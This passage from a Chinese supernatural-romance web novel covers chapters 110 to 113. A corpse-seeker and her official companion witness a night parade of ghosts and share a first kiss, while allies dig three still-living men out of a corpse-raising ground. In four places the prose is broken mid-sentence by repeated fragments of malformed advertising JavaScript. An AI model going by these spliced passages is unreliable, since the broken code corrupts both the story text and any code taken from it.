三枚看着陆衎:“香引魂路,引魂来,勾魂去。” “被带进养尸地里,残忍地被从身体剥离了的鬼魂,顺着引魂香的指引,回到了古井村,从香灰里冒头,将把持着香坛的活人,连人带魂,都给勾了去。” 陆衎听得一头雾水,不解地看着三枚。 “可是,他们不是说,只吞夫妻子女父母这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 种阴阳结合的搭配么?” “切!”三枚轻嗤一声,“白家的嘴,全是骗人的鬼。” “那些鬼话,我猜全是三姓的那些老狐狸,胡乱编排出来,就为了坑骗那些被自己牵着鼻子走的蠢货。” 聪明一些的家伙,比如白墨他家住在柴房地下室里的老太婆,心里指定一清二楚。 “就算他们以前真的被蒙在鼓里浑浑噩噩,那六年前古井村全村覆灭的时候,他们也该看透了其中的蹊跷,所以白家才会悔的肝肠寸断。” 三枚轻哼一声,眼里全是冷然,她说:“其实今儿晚上,茅草屋里应该还有另一批人来。” 陆衎看着三枚:“白家?” “嗯。”三枚眨了眨眼睛,“他们的阴阳眼,能将从香灰里冒出来的鬼魂,吸附并且封印在眼睛里。” 这样,拿着香坛的人,并不至于被连人带魂吞进黑渊里去。 “白家全是一群老狐狸,心胸一旦都不坦荡,故意隐瞒了部分真相,明知我们今晚要古井村来,他们居然连提醒一声也没有!” 三枚咬着牙,狠狠地跺着脚:“那三兄弟会突然被尸气夺走生气,一部分是因为我将黑渊的养尸地封印了,扰乱了平衡,导致底下那些人的魂魄提前顺着香灰涌出。” “还有一部分原因,那就是本该等在茅草屋里的白家人,并没有出现。” “三兄弟乱了分寸,一下子就被趁虚而入了。” 陆衎:“方才,好想没有看见那个叫做老三的男子,他有可能逃了吗?” 三枚摇头:“不清楚,但他能脱身的几率很小。” 毕竟,那样庞大的尸气,在你猝不及防的时候骤然袭来,谁都不可能全身而退,除非你早有防备。 该死的白家! 防备心怎地那般重! 连一点暗示也没有,害她错过了布局的时机,白白让机会就这么溜走了! “白家那群老不死的家伙,全是光说不干的疯子,就这样,嘴里还总是嚷嚷着后悔了,我现在是一点都没不知道,他们到底后悔在哪里了!” 陆衎牵着三枚的手,忽而用力一紧。 “怎么了?”三枚看向陆衎。 陆衎皱着眉头:“你说,白家真的后悔了吗?” 他的目光慢慢地在茅草屋里环视了一圈,最后定定地看着三枚的眼睛。 “若是,他们根本就并没有放弃过长生成仙的妄想呢?” “若是,迄今为止,所有的一切,都只是一场戏,只为了将你诓骗入局?” 陆衎声音轻飘,不急不慢,缓缓道来,三枚却听得起了一身的鸡皮疙瘩,头皮顿觉发麻。 她咽了咽口水,愣愣地看着陆衎,忽而一个激灵,瞬间瞪大了眼睛。 “涂家两兄弟,将我推落悬崖,不是一时兴起,而是早有图谋!” 三枚瞬间握紧了陆衎的手,“海门涂家,到底想干什么!” 陆衎看着脸色不是很好的三枚,“此地不宜久留,我们先离开这里再说。” 三枚紧拧眉头,被陆衎牵着往出走。 即将跨过门槛的时候,她背上的锁魂箱忽而剧烈地晃动了起来。 三枚脚下一顿,直觉不妙,立马甩开陆衎的手,一个转身,就将锁魂箱往身后甩去。 “砰!” 平整结实的地面,被锁魂箱砸出了一个深坑,坑下瞬间喷涌而出一阵浓烈的黑雾。 “不好!” 又是一阵尸气! 三枚迅速扑向陆衎,将人压在地上,往茅草屋外滚去,低吼道:“闭上眼睛,屏住呼吸!” “轰隆!” 一声巨响,茅草屋轰然倒塌。 满天飞尘中,三枚眯着眼睛,顺着黑雾弥散的方向看去,瞳孔瞬间一颤。 “这是......” 变故发生得太过突然,陆衎被压在三枚身下,晃了晃有些发蒙的脑袋,问道:“怎么了?” “陆衎,”三枚声音发紧,低头看着陆衎,一字一顿地道:“百鬼夜行了!” 111. 第 111 章 月黑风高,星辰隐蔽。 被黑暗倾覆的静谧乡野,一道道蓝色幽光闪烁跳跃,若隐若现。 莲花灯起,鬼火幽幽,百鬼夜行,妖魂游街。 夜色中,一簇簇的诡秘鬼火,源源不断地从茅草屋的深坑里冒头,仿佛一双双亡者的眼睛,冷静地凝视着这个熟悉而陌生的世界。 三枚和陆衎屏息凝神,蹑手蹑脚悄默声地靠近深坑。 自认见识过不少大场面的三枚,现在也没来由地心脏发紧。 寻尸生涯,她常与孤魂野鬼打交道,对鬼魂之类的异象并不陌生。 人死后,还是人的模样,只不过脸色有些难看,看起来恐怖了一点而已。 但是,百鬼夜行,游街的不止鬼魂,还有各种各样的妖怪啊! 从来没有见过妖怪的三枚,心里止不住地发颤,要是突然蹦出来什么奇形怪状的妖怪,可该怎么办才好呀?? 她可不会降妖除魔啊!! 三枚在心里胡思乱想,自己将自己吓唬得够惨。 陆衎却是弯着腰,努力想帮她拿回锁魂箱。 只见他一边将三枚护在身后,一边长臂往前一伸,手中的三尺青锋软剑轻轻地勾起被鬼气染成墨黑的锁魂箱,小心翼翼地拖着往身边挪。 三枚见状,天马行空的臆想暂时停下,紧张地吞了口口水,沉下心为陆衎加油鼓劲。 没想到陆衎最后真的成功地帮她拿回箱子,三枚激动地揪着他的胳膊,无声地欢呼了一会儿。 “还得是你!”她竖着大拇指,用气音夸赞道。 陆衎薄唇微扬,轻轻地摸了摸三枚的小脑袋,示意她走在前面。 三枚点点头,轻手轻脚刚想转身,抓着锁魂箱的手忽而一紧,低头一看,箱子竟然自己在徐徐往后退。 陆衎见三枚被箱子拖着倒退,连忙抓住她的手,开口问:“怎——” “嘘!”三枚捂住陆衎的嘴巴,示意他松手。 陆衎摇头,这次并没有依她,反而握紧了三枚的手。 他没有用力将箱子往回拉,而是跟着三枚,一起被拖着走。 锁魂箱的另一条带子,被一股无形的力量攥紧,一点一点地被带着往深坑的方向移动。 三枚拧着眉头,用力瞪大了眼睛,黑暗中努力分辨那股力量是什么来头。 深坑里还在徐徐往上蹦着幽暗的蓝色焰火,三枚眼见他们距离深坑越来越近,正犹豫是否放手的时候,移动的锁魂箱,突然停了下来。 她紧张地咽着口水,视线从锁魂箱上移开,慢慢地看向那个深坑。 现在为止,冒出来的都是一些鬼火而已,周围安静得落针可闻。 静谧的夜空里,三枚和陆衎的心跳声,显得尤为大声。 捂着心脏,她的眼睛紧紧地盯着深坑,又害怕从里面蹦出妖魔鬼怪出来。 这时骤然刮起一阵猛烈的风,冷飕飕地吹打在人的身上。 三枚被森林的阴风吹得眼睛有些睁不开,却始终不敢闭眼,连眼睛都不敢眨一下。 “咚咚、咚咚、” 她听见自己心脏跳动得越来越快,越来越大声,反手抓紧了陆衎的手,慢慢地退进了他的怀里。 就在三枚紧张得手心发汗,咬着嘴唇,正想着干脆扭头一把埋进陆衎的怀里的时候。 “啪!” 从深坑里伸出了一只手,啪的一下拍在了锁魂箱上。 三枚瞳孔瞬间瞪大,紧张害怕的情绪,好似随着那一下,瞬间就被拍没了,剩下的只有心疼。 “啊啊啊,我的锁魂箱,脏了!!!”三枚大叫一声。 她一个暴走,就要扑上去夺回自己的箱子,被陆衎拦腰抱起,压着声音劝道:“冷静点......” “我冷静不了!”三枚手脚扑腾乱踹,放声吼道:“我的箱子,脏了脏了!!!” 静谧的空气里,三枚的吼叫声尤为明显。 “你——” 陆衎无法,只好将人扛到肩上,双足蹬地,一下子就飞了起来,在距离深坑有些距离的地方,将三枚轻轻放下。 “我的箱子!居然被盖上了鬼印,啊啊啊!!!” 三枚完全崩溃,跺着脚大吼大叫,扭着身子非要回去,咬牙切齿的样子,一副要跟人大打出手的架势。 “啪!” 坑底又伸出了一只手,慢慢地在地上摸索了片刻。 陆衎眼见那双手撑在地面上,好似有什么东西要从地下爬起来一样,再看三枚发了疯一样叫嚣不停。 他急得皱紧眉头,没了办法,咬了咬牙,一手掐着三枚的腰,一手捧着她的后脑勺,将人往自己的方向用力一按,自己则低头,对着三枚的嘴巴亲了过去。 大叫着要跟人算账的三枚,嘴巴骤然被人堵住,疑惑地眨了眨眼,接着感到唇上一阵温热,软软的,鼻尖还萦绕着十分好闻的味道。 淡淡的,带着墨香,有些熟悉。 哦,好像是陆衎身上的味道。 这个时候,三枚才发现,陆衎的美人脸,在眼前放大了好几倍,她先是一愣,视线向下一瞥,眼睛蓦然瞪大。 啊啊啊啊!!! 她嘴巴软软的温热的贴着的,是陆衎的嘴巴!!! 陆衎这家伙什么亲过来的??她怎么一点印象也没有!!! 现在要该怎么办?她要怎么办? 她是应该将人一把推开,还是顺势而为抱着陆衎?或者干脆闭上眼睛装死算了?? 三枚杏眼瞪得又大又圆,越瞪越大,眨也不眨,愣愣地看着陆衎一直在颤动的浓密眼睫毛,脑袋空白一片,完全不知道该作什么反应。 刚才还在空中挥舞不停的双手,不知不觉已经垂到了陆衎的身侧,她紧紧地揪着自己的衣服,连呼吸都不敢。 三枚犹犹豫豫,不知道要如何是好的时候,紧贴在唇上的温软忽而一松,陆衎放大的脸缓缓后退。 他眼睑微垂,令人看不清眼里的情绪。 但三枚却从他微颤的脸颊,和急促的呼吸声里,觉察到陆衎好像在努力克制着什么。 错愕和惊慌过后,三枚的双颊,后知后觉地燃烧了起来,她突然就觉得不好意思了,也跟着垂下了眼睛,揪在手里的衣角,被她扭成了麻花。 陆衎虽然后退,掐着三枚腰侧的手却并未松开。 他现在情绪十分激动,正在努力平复着。 一开始亲上三枚的时候,他并没有想太 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 多,一心只想让她冷静下来,没想到贴上那唇瓣的时候,自己的反应会这样的大,险些就失控了。 他没有想到,和三枚亲吻,是这样美好的一件事。 差点沉沦的陆衎,好在尚存一丝理智,艰难地将自己从三枚的唇上抽离出来。 他额头抵着三枚的,眸中一片幽暗,他用力闭眼,压下心底深处的欲望,再睁眼时,眼底虽然平静无波,眼尾却微微泛红。 “我原本的打算,便是这次鬼村案结了,便到你家提亲的。”陆衎哑声说道。 三枚眨了眨眼,过了一会儿,才小小声回他:“哦。” “哦是什么意思?”陆衎侧头看她。 三枚声若蚊蝇:“那你都、都自己决定了,我不就、只能哦了吗?” 陆衎低头去看她的眼睛,“那你,愿意吗?” 三枚别开眼睛,就是不看他,过了一会儿,又小小声地:“哦。” “呵。”陆衎第一次见如此扭捏的三枚,见她虽然语焉不详,但不管是态度还是动作,都没有什么反感。 而且,刚才亲她的时候,她并未推开自己。 三枚应是喜欢自己的。 陆衎兀自在心里盖章定论,嘴角忍不住往上一扬,指腹轻轻拭过三枚濡湿的唇角,声音轻柔地道:“那我就当你同意了。” 嘴巴快要咧到后脑勺的三枚,好不容易放过自己的衣角,转而去扯陆衎的,抿了抿嘴,她正想点头。 “砰!” 身后突然传来一声巨响。 陆衎立马将三枚护到身后,两人顺着声音的方向望去。 深坑里,不知何时,自底下缓缓升起了一股浓烟,在虚无缥缈的烟笼雾绕中,呼呼刮着阴风阵阵。 三枚瞬时变了脸,扯着陆衎躲到了阴影里,她轻声说道:“来了。” 话音刚落,天空瞬间飘起憧憧孤影,仿若踏月而来。 撑在地上的鬼手,倏而双手往上一抬,眨眼便飘起一个黑乎乎的大脑袋。 脑袋上的黑发乌黑浓密,披散遮面,令人看不清楚具体容貌。 随着冷气越吹越浓,脑袋的主人也从地下缓缓地飘了出来。 赫然是白骨素衣。 三枚恍惚间,依稀能见萦绕在它眉间的疑惑。 突然一道幽光闪烁,白骨素衣随风落到了锁魂箱上。 它踩着三枚的锁魂箱,徐徐地往前飘去。 三枚咬牙,恨恨地瞪着那白骨,掐着陆衎的胳膊,忍下了心中升腾而上的恶气。 陆衎不痛不痒地低头看了一眼,见三枚的小手在自己的胳膊上又摸又抠的,不动声色地咽着口水。 他抿了抿唇,努力将注意力都投注到一个接着一个从深坑里飘出的鬼魂。 三枚忍了又忍,咬牙切齿地嘟哝:“一个一个的,非要对着我的箱子踩一脚,算什么回事?!” 生怕她又失控暴走,陆衎连忙将人抱紧,在她耳边安抚道:“你冷静一点,它们这么做,或许都是有原因的。” “什么原因——” 三枚正想大骂什么原因都不能踩脏她的锁魂箱,脑子忽而一顿,突然想起来:“木清梅和马大旺一家的魂魄,还在我家的小棺椁里!!” 112. 第 112 章 “我说七月十五还没到,怎么鬼门关今儿就开了!” 三枚等到那群浩浩荡荡的鬼魂,陆陆续续地飘走,深坑没再冒出其他鬼怪后,悄悄地跑了过去,一把就将锁魂箱拽到了身边。 她皱着眉头,一脸嫌弃地看着箱板上大大小小的鬼印子,又心疼又气愤。 “都是木清梅和马大旺他们几个鬼魂害的!”她愤愤地道。 陆衎拍了拍她的手,问她:“鬼门关,是被它们打开的吗?” 想到方才三枚转身突然将箱子往地上摔落的动作,他想了想,又问:“难道是它们跑了?” “跑不了!” 三枚摇头,进了她家小棺椁的地儿,想不告而别头溜走? 没门! 她撩起衣袖,在满是鬼脚印子的箱板上使劲擦了擦,擦了半天印记还在,气得脸颊鼓鼓。 三枚拧着眉,不情不愿地将耳朵贴到了箱板上,屈指轻轻敲了敲。 直到里头传来闷闷的响声,她才朝陆衎努努嘴:“没错,还在呢。” 陆衎:“那你方才为何突然那般激动?” 三枚被他这么一提醒,又想起方才背上骤然涌起一股凉飕飕的邪气,又湿又冷,像冰冷的毒蛇一样,贴在她的身上。 莫名又起了一身的恶寒,她使劲搓了搓胳膊上的鸡皮疙瘩,皱着小脸道:“当时那个阴森的感觉来得猝不及防,我大脑还没反应过来呢,箱子已经被我甩了出去。” 她当时的动作,几乎就是身体感知到危险后的本能反应。 事实证明,三枚的直觉,永远都是对的。 否则,地上被炸出深坑的同时,她的身体也成了肉渣。 现在,素面无纹的原色木箱子,被鬼气污染得乌漆嘛黑,成了脏兮兮的浓墨色。 虽然上头满是地下上来的孤魂野鬼的印迹,破坏了最初暴涨的轨迹,但却逃不过三枚的火眼金睛和灵敏的嗅觉。 小棺椁里的魂灵虽然又陷入了沉睡,但她分明在箱板上,嗅到了木清梅的味道。 每个人的灵魂,都有属于自己的独一无二的味道。 三枚在直面每一个亡灵的时候,脑海里会自动记住它们灵魂里携带的气味。 木清梅的灵魂,清清淡淡,若有似无,就萦绕在浓墨色的锁魂箱四周。 “方才的暴动,该是木清梅魂醒之后,在我的小棺椁里搞出的动静。” 估计也是受到了那三兄弟手中香灰引魂的影响。 “哼,幸好我还留了一手。” 三枚轻哼一声,她看着前方渐渐飘远的鬼魂,倏而冲陆衎眨了眨眼,举起手里的破瓷碗,示意他看向碗底。 陆衎垂眼看去,就见碗底堆积了一小撮的香灰。 “昨晚他们用香引出魂路的时候,我不也燃香了吗?就是为了以防万一的。” 今儿一天发生的事情太多了,她差点就又忘了呢。 “刚才那三兄弟被从地下带走的时候,我没来得及追踪,现在正好,顺着它的香道,看看这些鬼魂,又将流向何处。” 毕竟意外总是来得猝不及防,本来还以为他们又要就此错过了一睹究竟的机会。 没想到木清梅的魂魄受到了剧烈的冲击,在她的小棺椁里鬼气暴涨,最终引发了爆炸,就这样阴差阳错,炸开了地府之门,引发了百鬼夜行。 陆衎不解地问:“不是说三兄弟被带入了养尸地?那些带走他们的鬼魂,居然没有跟着一起回去吗?” 三枚摇头:“我现在感觉,养尸地里的那些活死人应该没那么重要,或者说,幕后之人的真正目的,不是肢体僵硬的不死之躯,而是这些魂魄。” “那黑渊和养尸地,就这么放着不管了?” 三枚抬头看了眼天色,“若是阿丑靠谱的话,算算时间,八耳已经被送到了白老太那儿。” 有八耳在,不管是黑渊和养尸地,便出不了错。 况且,她的紫铜小铃铛,还在那儿没收回来呢。 “现在嘛,就让我来好好瞧瞧,这些个百鬼夜行,究竟行至何处!” 三枚得意地哼哼直笑,突然阴风又起,卷起破瓷碗里的香灰,朝她脸上直扑而去。 “阿嚏!” 忍不住打了个喷嚏,三枚睁眼,才发现陆衎被自己也喷了一脸的香灰。 “哎呀,我不是故意的。” 她连声道歉,伸手在陆衎的脸上擦来擦去,结果灰没擦干净,反而越擦越脏的样子。 “噗嗤!” 三枚看着陆衎花猫一样的脸,没忍住笑出了声来,刚想开口找补几句,身后突然传来一个阴森森的声音。 “诶,那边那对小夫妻!” 转头看去,就见之前飘远了的孤魂野鬼,突然全部停了下来,全都睁着一双绿油油的大眼睛看着他们。 “看什么看,说的就是你俩!”飘在最后的那个女鬼,尖锐的指甲对着三枚一指,“小夫妻黏黏糊糊,小心耽误了正事,到了地儿,随你们怎么黏糊拉扯去,现在,赶紧跟上!” 三枚跟陆衎对视了一眼,咽了咽口水,指着自己道:“说我们呢?” 女鬼厉眼一瞪,瞳孔里瞬间滑下两行血泪,“装什么傻!快跟上,否则看我不撕烂了你那小郎君!” 三枚瞬间长臂一伸,将陆衎挡在身后,蹙眉喝她:“你敢!” 听见身边人从喉咙溢出了轻笑声,她蹙眉睨了陆衎一眼,压着声音说他:“你笑什么?” 没听见那女鬼要撕烂了你呢? 笑笑笑,还笑得这样好看,不知道还以为它说了什么中听的好话呢! 那女鬼的话,在陆衎听来,确实挺中听的。 但他还是压下了小心思,抿了抿唇,努力向下压着上扬的嘴角,在三枚的怒视下垂下了眼睛,他轻声道:“我不笑了。” 三枚见陆衎终于不笑了,轻轻地哼了一声,转头又瞪着那女鬼。 “嘁嘁嘁。”女鬼尖着嗓子笑了起来,“瞧你那护夫的小样儿!” “这般细皮嫩肉的家伙,中看不中用,老娘才不稀罕呢!”女鬼瞟了陆衎一眼,嫌弃得摆了摆手。 陆衎这下笑不出来了。 他冷眼瞥了女鬼一眼,脑袋往三枚身边一凑,嘴巴几乎贴在她的耳朵上,压着声音道:“你别听它胡说八道。” 什么中看不中用,信口雌黄! 耳朵被热气拂过,有些发痒,三枚缩了缩脖子,既听不懂女鬼隐晦的虎狼之词,亦对陆衎急于辩解的态度不明所以。 但她始终坚定地站在陆衎这边,于是脱口而出:“我知道。” 陆衎眼睛眨了眨,耳朵莫名爬上了绯红,忍了忍,才低低地道:“哦。” “嘻嘻嘻,”女鬼阴恻恻地笑了笑,“好啦,快听话,赶紧牵着你的小情人跟上来,否则被鬼王大人瞧见了,我可帮不了你了。” 三枚皱了皱眉,眼睛在那群孤魂野鬼的身上扫了一圈。 排排站的小鬼头们,头挨着头,嘴里嘀嘀咕咕,指着自己和陆衎嬉嬉笑笑、一脸八卦看热闹的样子,她心思一转。 看来它们这是误以为自己和陆衎,也是从深坑底下飘上来的鬼怪了。 视线又朝破瓷碗里看了一眼,见碗底的香灰全都不翼而飞,看来是都落到了自己和陆衎的身上去了。 反应过来后,三枚将破瓷碗塞到陆衎怀里,抓着他的手站起身来,对着女鬼说道:“哦,就来了。” 女鬼嘻嘻一笑,轻轻对着三枚的招手,阴恻恻地道:“来吧,来吧,都跟上啊。” 它说完,又跟着徐徐飘动起来的鬼魂们,继续前进了起来。 都? 三枚转头,看了陆衎一样,忽而感到后脑勺袭来一阵清凉的感觉,猛地回头,就对上了一双咕噜噜乱转的小眼睛。 小眼睛贴在她的锁魂箱上,十分灵活地转了一圈,又转了一圈。 跟三枚对视了一会儿,咻的一下,向后弹去,“啪嗒”一声,弹回了坐在深坑边上的小鬼头的眼眶里。 小鬼头看起来两三岁模样,梳着一条冲天辫,穿着小肚兜小短裤,看起来十分喜庆的模样。 啧!这小鬼,什么时候来的? 她竟然都没察觉一点。 也不知道有没有听见自己和陆衎说的话。 拧眉瞪了眼捂着嘴巴、 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一脸蜜汁微笑的小鬼头,三枚恶声恶气地道:“跟上!” 小鬼头嘻嘻嘻跳了起来,歪着脑袋一蹦一跳地跟了上去。 就这样,三枚和陆衎,还有身后跟屁虫一样的小鬼头,就混在浩浩荡荡夜行的鬼怪中间,跟着前头忽闪忽闪的莲花灯火,慢慢地深入黑暗中去。 —— 黑渊这边。 裴元抱着小八耳,哆哆嗦嗦、小心翼翼地靠近养尸地。 “奇奇怪怪,小三枚不是让把地儿烧了吗?还专门教了邢安然那厮怎么把密道洞口封上。” 他对着小八耳,嘀嘀咕咕地道:“怎么你一来,就将刚封没多久的洞口给刨开了,还一个劲儿要进来呢?” 阿丑不负三枚所托,亥时就将小八耳送到了白老太的手上。 裴元当时刚将护军带山上,让之夜按照陆衎吩咐的分守在各处角落。 自己则不放心也不信任白老太这个外人,所以自行决定带着一小队人马,守在密道这儿。 没想到半路就碰见了抱着小八耳的两个小屁孩。 在两个小孩你一言我一语的解释下,他好似明白了小三枚的用意。 白老太守在密道这儿,而密道通往黑渊,黑渊里听说有一片诡异的养尸地。 小三枚让人将小八耳送到老太婆的身边,实际用意是要把它送到黑渊附近。 裴元的猜测,直到他抱着八耳到了密道附近,果不其然就得到验证。 当时小八耳一下就挣脱了他的怀抱,根本看都不看一脸蒙圈的白老太,而是拍着翅膀径直飞进密道。 等到他们追进了狭长而幽暗的密道,就着火光看去,发现小八耳正用它那尖锐的鸡嘴,和锋利的爪子,对着不知何时已经封了起来的洞口,使劲地啄啊刨的。 裴元二话不说,一把提着小八耳翅膀,长臂一挥,不顾白老太的阻拦,直接让护军开挖。 八耳在手,他气势如虹,让所有人守在洞口,只身带着小八耳就进了黑渊。 走在乌烟瘴气的黑渊里,感受着阴森森凉飕飕的空气,裴元心里就后悔了。 “早知道,就让他们也跟进来了,人多好壮胆啊,现在若是回头反口,岂不令人笑掉大牙,面子何在?” 他嘴里嘟嘟哝哝,脚下速度却是一点不慢。 小八耳气势凛然,眼神凶狠而犀利,疯狂扫射着朝他们徐徐弥漫而来的雾瘴。 那些雾瘴被它得视线那么一扫,好似渐渐退散,没有刚开始那般的浓韵。 就这样,裴元抱着小八耳,在黑渊里慢慢地巡视了起来。 他看着小八耳左右张望,仿佛在寻找着什么东西,也跟着左顾右盼。 裴元的视线,随着小八耳的脑袋,上下左右,仔细地在周围搜寻了起来,留神注意看有没有出现什么可疑的目标。 就在一人一鸡瞪得双眼酸软的时候,“轰隆”一声巨响。 好似爆炸的声音,仿佛就在他们的耳边炸响。 裴元护着小八耳,迅速往地上一趴,感觉周围震动的声音逐渐消停之后,才慢慢地抬起了头来。 “这是......” 看着眼前的巨大的紫铜铃铛,他咽了咽口水,将小八耳从怀里拽了出来,缓声问道:“是它吗,你在找的东西?” “嘎。”小八耳脆声应道。 从裴元的手里挣脱,它不紧不慢地走向铃铛,老神在在地绕着铃铛晃了一圈,扭头看着裴元,又脆生生地“嘎”了一声。 “奇了怪了,我怎么感觉这小八耳,刚才绕圈的时候,活像村口背着手的老大爷似的。” 嘎的那一声,跟老大爷清老痰一样。 他揉了揉眼睛,从地上起身,拍了拍身上的灰尘,慢慢地走了过去。 忽而脚下一绊,差点摔了个狗吃屎,低头看去,发现绊倒自己的,是一个陶瓷小坛子。 正要伸手去摸,八耳老大爷振翅一拍,朝他飞驰而来,尖锐的鸡嘴,对着坛子猛然一叨。 “啪!” 坛子裂开了一条细缝,裴元却看都不看一眼,视线紧紧地盯着坛子底下。 “这是,一只断手?” 113. 第 113 章 “挖!使劲挖!” 裴元抱着小八耳,看着护军挥着铁锹铲子,小心翼翼地挖着地。 坐在边上的白老太,一张老脸皱皱巴巴,神情严肃又纠结,仿佛那些铁锹和铲子,一下一下都挖在了她的心头。 “奶。” 阿丑抱着白老太的胳膊,手指往边上一指,声若蚊蝇地道:“您说,这只手,会是谁的?” 看样子,应该不是三枚阿姐的,难道是那位陆大人的? 她忧心忡忡,心绪不宁,害怕三枚和陆衎他们,因为他们白家的破烂事而遭遇不测。 “这根本就不是陆在野的手好吗?” 裴元撇嘴,“我家陆在野可没那么弱!向来只有他挥刀砍人份,想近他的身伤到他?下辈子吧!” 行走的活阎王可不是浪得虚名的。 “再说了,你看他长得天妒人怨的那么一张美人脸,用脚指头想,这么一只丑陋不堪的手,能配得上他吗?!” 裴元信誓旦旦,一脸傲然地道:“所以啊,放一百二十个心吧,小三枚和陆在野啊,他们一定没事的。” 原本情绪有些萎靡的阿丑,听完裴元的话,瞬间振奋精神,眼睛发亮地看着他,好奇地道:“陆大人这般厉害啊?” 裴元哼哼两声,虽然不是很想承认,但更不屑于说谎,于是不情不愿地道:“呵呵,一般厉害吧。” “那我三枚阿姐呢?”阿丑上前一步,瞪着大眼睛追问道。 三枚阿姐? 裴元后退两步,从头到脚扫了阿丑一眼,再看边上虽然一言不发,但也睁大眼睛,一脸好奇地看着自己的憨小子,心里不由嘀咕道:“这个小三枚,什么时候又招了两个小孩?” 怎么走哪儿,哪儿的小孩都爱黏糊她? “你说啊,我三枚阿姐是不是也很厉害啊?”阿丑等了一会儿,也没见裴元回答,急得又上前几步,连声追问道。 “你说小三枚啊,”裴元挠了挠头,眼睛与怀里的小八耳对视了一眼,忽而想起半年前在水都经历的一切,肯定地点头:“也厉害。” 寻尸人没点本事傍身,怎么行走江湖? 半年前在水都经历的一切,如今想起来,裴元依旧历历在目。 但他觉得吧,小三枚更厉害的是,居然能让都城第一大冰山的陆在野铁树开花。 才几天的功夫啊,她居然就能轻而易举地拿捏陆在野的情绪。 目中无尘、高傲如陆在野,竟也心甘情愿,甚至甘之如饴。 现在想想,裴元还是觉得匪夷所思,百思不得其解。 可能情爱便是如此吧,只要看对眼了,谁都拦不住。 阿丑还等着裴元讲讲三枚是怎样个厉害法呢,结果等了半天,都没再听见声音。 她仰头看着裴元,发现他眯着眼睛,眼神飘忽,不知道在看哪里,摇头晃脑嘿嘿直笑,笑得人心里毛毛的。 “咦,别不是什么神志不清的变态吧?” 阿丑搓了搓胳膊,满脸嫌弃地往后退了退,转头与白墨对视了一眼,指着自己的脑袋,摇了摇头。 “哼,小屁孩,懂个屁!” 裴元刚回神,就见阿丑和白墨两脸嫌弃地看着自己,皮笑肉不笑地哼了两声,不屑与两个小屁孩斤斤计较,转头盯着人挖尸去了。 “世子,挖到了一具男尸!” “世子,这里也挖到了一具男尸!” “世子,这里挖到的男尸,没了一只手!” 裴元眼尾一挑,扫了地上的断手一眼,“看来手掌的主人,找到了。” “小八耳,接下来呢?继续挖还是?”他看着八耳,哥俩好似的商量道。 小八耳凶狠的豆眼,看着被挖得坑坑洼洼的养尸地,眨了眨眼,高昂着头颅,往洞口的方向一瞥。 “嗯哼。”裴元点了点头,指着远处的巨大铃铛,“这东西呢?” 小八耳不耐烦地拍了拍翅膀,从鼻子里轻哼了一声。 明明什么话都没说,裴元却好似读懂了它的意思,“行,听你的!” 他长臂一挥,在阿丑和白墨好奇又愣怔的注视下,高声道:“所有人,扛上尸体,收工!” “别忘了那只断掌。” —— 阿丑浑身冷汗直冒,看着地上躺着的三个男人,半晌都说不出话来。 白墨站在她的身边,同样一脸木然。 “他们,怎么会在这里?”阿丑声音发颤,低声问道。 白墨摇头:“不清楚。” 进入黑渊的所有人,在裴元的一声令下,不管是白老太还是阿丑他们,全部被赶了出来。 白老太固执己见,仍然留在密道附近守株待兔。 裴元则抱着小八耳,带着从养尸地里挖出来的三具男尸,找到了之夜。 之夜本想联系陆衎他们,但又谨记陆衎之前的命令:无令所有人不得随意进入古井村。 于是便暂且找了个隐蔽的地方,安置三具男尸。 阿丑和白墨不知为何,没有留在白老太的身边,反而一直紧跟在八耳的身边。 不经意瞥见那三具男尸的时候,两人突然大惊失色。 “洪大他们三兄弟,怎么会莫名其妙被埋在黑渊里?”阿丑瞪大眼睛,转头看向白墨。 “他们这个时候,不应该是在鬼村里吗?” 原来,养尸地里挖出的三个男人,赫然就是凭空消失在茅草屋里的三兄弟。 白墨摇头,目光看着裴元抓在手里研究的陶瓷坛子,“你看那个。” 他指着小坛子,声音颤颤地道:“我觉得,他们、他们已经去过了鬼村,很可能、就是从那儿过来的。” 阿丑抓着白墨的手臂,突然拔高声音:“你是说,他们、他们被鬼村吞了?所以被埋进了养尸地里?” “我、我、我是这么猜的,不然要如何解释,几个时辰前还在碧水村见过的人,好端端突然出现在这里?” 阿丑哑口无言,她心里也觉得白墨言之有理,但是这跟他们迄今为止接收到的消息,完全不一样啊。 鬼村不是专挑阴阳两合的人吞噬吗?怎么可能将他们三兄弟都吞了? “难怪三枚阿姐总是对白家心存警戒,我之前还为此感到受伤难过。” 阿丑忽而有些恍然,声音低沉地喃喃自语:“连自家人都做不到坦诚相待,怪不得别人不信任你!” 白墨皱着眉头:“阿丑,你别这样,或许其中有什么误会——” “别哪样!”阿丑转头,眼眶微红。 她直视白墨的眼睛,一字一句,压着怒火问道:“二哥,你告诉我,是怎样的误会?” 白墨被阿丑看得心尖一颤,忍不住后退一步,眼睛不由向下一瞥,别开了视线。 他支支吾吾地道:“我、我暂时不清楚。” “等我、等我搞清楚了,一定、一定第一时间就告诉你。” “好像现在就能解开误会耶。”裴元突然插嘴道。 两兄妹的争执,他不知道看了多久。 打了个哈欠,裴元懒洋 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 洋地靠在墙上,手里把玩的小坛子被他随意地丢在了角落。 他一手撑在脑后,一手指着地上的男尸。 “他们还没咽气呢,与其你俩在这儿争得面红耳赤,不如将人弄醒,严刑拷打一番哦。” 阿丑和白墨一愣,呆呆地看向地上的三个男人。 “没、没死?”阿丑半信半疑地问。 白墨连忙冲到男人的身边,蹲下-身,将手指一一放到三兄弟的鼻下。 虽然微弱,但手指能感受到温热,是从他们的鼻子里呼出来的热气。 “没死!” 白墨心里的大石,似乎没那么沉重了,他惊喜地看向阿丑,一边点头一边肯定地道:“阿丑,他们没死!” 阿丑眼睛快速地眨了眨,“蹬蹬蹬”几步就冲到了白墨的身边,蹲着身子也学他哥将手指放到人的鼻子下方。 真的能感受到从鼻子里喷洒出来的微弱热气! 须臾过后,她的大脑才反应过来似的,高声道:“没死?居然没死!” 她惊讶得声音都劈了叉,不可置信地看向一脸玩世不恭的裴元,“你早就发现了?” 